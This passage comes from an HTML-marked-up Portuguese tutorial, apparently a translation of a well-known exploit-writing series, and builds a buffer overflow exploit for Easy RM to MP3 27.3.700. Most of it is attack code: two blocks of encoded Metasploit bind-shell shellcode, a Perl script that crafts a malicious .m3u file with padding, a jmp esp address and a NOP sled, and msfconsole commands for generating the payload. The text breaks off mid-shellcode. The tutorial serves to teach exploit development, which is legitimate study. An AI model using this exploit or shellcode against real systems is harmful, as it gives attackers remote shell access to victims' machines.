&gt;#&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;# windows/shell_bind_tcp - 344 bytes&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;# http:&lt;span style="color:#d7df01;"&gt;//www.metasploit.com&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;# Encoder: x86/shikata_ga_nai&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;# EXITFUNC=seh, LPORT=5555, RHOST=&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\x31\xc9\xbf\xd3\xc0\x5c\x46\xdb\xc0\xd9\x74\x24\xf4\x5d"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\xb1\x50\x83\xed\xfc\x31\x7d\x0d\x03\x7d\xde\x22\xa9\xba"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\x8a\x49\x1f\xab\xb3\x71\x5f\xd4\x23\x05\xcc\x0f\x87\x92"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\x48\x6c\x4c\xd8\x57\xf4\x53\xce\xd3\x4b\x4b\x9b\xbb\x73"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\x6a\x70\x0a\xff\x58\x0d\x8c\x11\x91\xd1\x16\x41\x55\x11"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\x5c\x9d\x94\x58\x90\xa0\xd4\xb6\x5f\x99\x8c\x6c\x88\xab"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\xc9\xe6\x97\x77\x10\x12\x41\xf3\x1e\xaf\x05\x5c\x02\x2e"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\xf1\x60\x16\xbb\x8c\x0b\x42\xa7\xef\x10\xbb\x0c\x8b\x1d"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\xf8\x82\xdf\x62\xf2\x69\xaf\x7e\xa7\xe5\x10\x77\xe9\x91"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\x1e\xc9\x1b\x8e\x4f\x29\xf5\x28\x23\xb3\x91\x87\xf1\x53"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\x16\x9b\xc7\xfc\x8c\xa4\xf8\x6b\xe7\xb6\x05\x50\xa7\xb7"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\x20\xf8\xce\xad\xab\x86\x3d\x25\x36\xdc\xd7\x34\xc9\x0e"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\x4f\xe0\x3c\x5a\x22\x45\xc0\x72\x6f\x39\x6d\x28\xdc\xfe"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\xc2\x8d\xb1\xff\x35\x77\x5d\x15\x05\x1e\xce\x9c\x88\x4a"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\x98\x3a\x50\x05\x9f\x14\x9a\x33\x75\x8b\x35\xe9\x76\x7b"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\xdd\xb5\x25\x52\xf7\xe1\xca\x7d\x54\x5b\xcb\x52\x33\x86"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\x7a\xd5\x8d\x1f\x83\x0f\x5d\xf4\x2f\xe5\xa1\x24\x5c\x6d"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\xb9\xbc\xa4\x17\x12\xc0\xfe\xbd\x63\xee\x98\x57\xf8\x69"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\x0c\xcb\x6d\xff\x29\x61\x3e\xa6\x98\xba\x37\xbf\xb0\x06"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\xc1\xa2\x75\x47\x22\x88\x8b\x05\xe8\x33\x31\xa6\x61\x46"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\xcf\x8e\x2e\xf2\x84\x87\x42\xfb\x69\x41\x5c\x76\xc9\x91"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\x74\x22\x86\x3f\x28\x84\x79\xaa\xcb\x77\x28\x7f\x9d\x88"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\x1a\x17\xb0\xae\x9f\x26\x99\xaf\x49\xdc\xe1\xaf\x42\xde"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\xce\xdb\xfb\xdc\x6c\x1f\x67\xe2\xa5\xf2\x98\xcc\x22\x03"&lt;/span&gt; .&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;&lt;span style="color:#006080;"&gt;"\xec\xe9\xed\xb0\x0f\x27\xee\xe7"&lt;/span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;p class="western"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Como podemos ver, este shellcode possui 344 bytes de tamanho (e para executar a calculadora precisa apenas 144 bytes).&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="western"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Se apenas copiarmos e colarmos este shellcode, podemos ver que a aplicação vulnerável não trava mais.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="western"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;Isso indica, ou um problema com o tamanho do buffer do shellcode (mas se testarmos o tamanho do buffer veremos que esse não é o problema), ou nos deparamos com caracteres inválidos no shellcode. Podemos excluir esses caracteres inválidos quando criamos o shellcode com o metasploit, mas precisaremos saber quais caracteres são permitidos e quais não são. Por padrão, bytes nulos são restringidos (porque eles farão um break no exploit), mas quais são os outros caracteres?&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="western"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:Times New Roman, serif;"&gt;&lt;span style="font-size:100%;"&gt;O arquivo m3u provavelmente deveria conter nomes de arquivos. Então um bom começo seria filtrar todos os caracteres que não são permitidos em nomes de arquivos e caminhos. Podemos também restringir os caracteres selecionados, utilizando um outro decoder. Utilizei o shikata_ga_nai,  mas talvez o alpha_upper funcione melhor para nomes de arquivos. Utilizar outro enconder provavelmente aumentará o tamanho do shellcode, mas já vimos que o tamanho não é o maior problema.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="western"&gt;Vamos tentar construir um “tcp shell bind”, usando o encoder alpha_upper. Vamos fazer um bind de um shell à porta local 4444. O novo shellcode possui 730 bytes de tamanho.&lt;/p&gt; &lt;p class="western"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="western"&gt;&lt;i&gt;Nota: para criar o payload, abra o Metasploit com ./msfconsole, e execute os seguintes comando:&lt;/i&gt;&lt;/p&gt; &lt;p class="western"&gt;&lt;i&gt;msf&amp;gt; use payload/windows/shell_bind_tcp&lt;/i&gt;&lt;/p&gt; &lt;p class="western"&gt;&lt;i&gt;msf payload(bind_tcp) &amp;gt; generate -e x86/alpha_upper &lt;/i&gt; &lt;/p&gt; &lt;p class="western"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p class="western"&gt;Vamos usar esse shellcode. O novo exploit se parecerá com o abaixo:&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;pre class="western" style="background: #f4f4f4; border: none; padding: 0cm; line-height: 0.42cm; text-align: justify"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;#&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;# Exploit &lt;span style="color:#5576d1;"&gt;for&lt;/span&gt; Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;# Written by Peter Van Eeckhoutte&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;#&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $file= &lt;span style="color:#006080;"&gt;"exploitrmtomp3.m3u"&lt;/span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $junk= &lt;span style="color:#006080;"&gt;"A"&lt;/span&gt; x 26072;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $eip = pack(&lt;span style="color:#006080;"&gt;'V'&lt;/span&gt;,0x01b1f23a);&lt;br /&gt;#jmp esp from MSRMCcodec02.dll&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;my $shellcode = &lt;span style="color:#006080;"&gt;"\x90"&lt;/span&gt; x 25;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;# windows/shell_bind_tcp - 730 bytes&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;# http:&lt;span style="color:#d7df01;"&gt;//www.metasploit.com&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;# Encoder: x86/alpha_upper&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;# EXITFUNC=seh, LPORT=4444, RHOST=&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;$shellcode=$shellcode.&lt;span style="color:#006080;"&gt;"\x56\x54\x58\x36\x33\x30\x57\x54\x58\x36\x33\x38\x56\x58" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x48\x34\x39\x48\x48\x48\x50\x56\x58\x35\x41\x41\x51\x51" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x50\x56\x58\x35\x59\x59\x59\x59\x50\x35\x59\x59\x59\x44" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x35\x4b\x4b\x59\x41\x50\x54\x54\x58\x36\x33\x38\x54\x44" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x44\x4e\x56\x44\x44\x58\x34\x5a\x34\x41\x36\x33\x38\x36" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x31\x38\x31\x36\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x49\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4d\x59\x43\x30" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x43\x30\x45\x50\x43\x50\x4d\x59\x4d\x35\x56\x51\x49\x42" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x43\x54\x4c\x4b\x56\x32\x56\x50\x4c\x4b\x56\x32\x54\x4c" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x4c\x4b\x50\x52\x54\x54\x4c\x4b\x52\x52\x56\x48\x54\x4f" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x4f\x47\x50\x4a\x56\x46\x50\x31\x4b\x4f\x50\x31\x4f\x30" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x4e\x4c\x47\x4c\x43\x51\x43\x4c\x43\x32\x56\x4c\x47\x50" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x49\x51\x58\x4f\x54\x4d\x43\x31\x58\x47\x5a\x42\x5a\x50" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x56\x32\x56\x37\x4c\x4b\x50\x52\x54\x50\x4c\x4b\x47\x32" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x47\x4c\x43\x31\x58\x50\x4c\x4b\x47\x30\x54\x38\x4b\x35" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x4f\x30\x52\x54\x50\x4a\x43\x31\x58\x50\x50\x50\x4c\x4b" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x47\x38\x54\x58\x4c\x4b\x56\x38\x51\x30\x45\x51\x4e\x33" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x4b\x53\x47\x4c\x50\x49\x4c\x4b\x56\x54\x4c\x4b\x43\x31" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x58\x56\x50\x31\x4b\x4f\x50\x31\x4f\x30\x4e\x4c\x4f\x31" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x58\x4f\x54\x4d\x45\x51\x58\x47\x47\x48\x4b\x50\x52\x55" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x4b\x44\x43\x33\x43\x4d\x5a\x58\x47\x4b\x43\x4d\x51\x34" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x43\x45\x4d\x32\x51\x48\x4c\x4b\x51\x48\x56\x44\x43\x31" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x58\x53\x45\x36\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x51\x48" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x45\x4c\x43\x31\x49\x43\x4c\x4b\x45\x54\x4c\x4b\x45\x51" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x4e\x30\x4c\x49\x47\x34\x47\x54\x51\x34\x51\x4b\x51\x4b" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x45\x31\x51\x49\x51\x4a\x56\x31\x4b\x4f\x4b\x50\x50\x58" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x51\x4f\x50\x5a\x4c\x4b\x45\x42\x5a\x4b\x4d\x56\x51\x4d" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x43\x58\x50\x33\x56\x52\x45\x50\x43\x30\x45\x38\x43\x47" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x43\x43\x47\x42\x51\x4f\x50\x54\x43\x58\x50\x4c\x52\x57" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x51\x36\x43\x37\x4b\x4f\x58\x55\x58\x38\x4c\x50\x45\x51" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x45\x50\x43\x30\x47\x59\x49\x54\x56\x34\x56\x30\x43\x58" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x56\x49\x4d\x50\x52\x4b\x45\x50\x4b\x4f\x4e\x35\x50\x50" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" &gt;"\x56\x30\x56\x30\x56\x30\x51\x50\x50\x50\x47\x30\x50\x50" . &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#006080;"&gt;&lt;span style="font-family:consolas, Courier New, courier, monospace;"&gt;&lt;span style="font-size: 8pt;font-size:78%;" 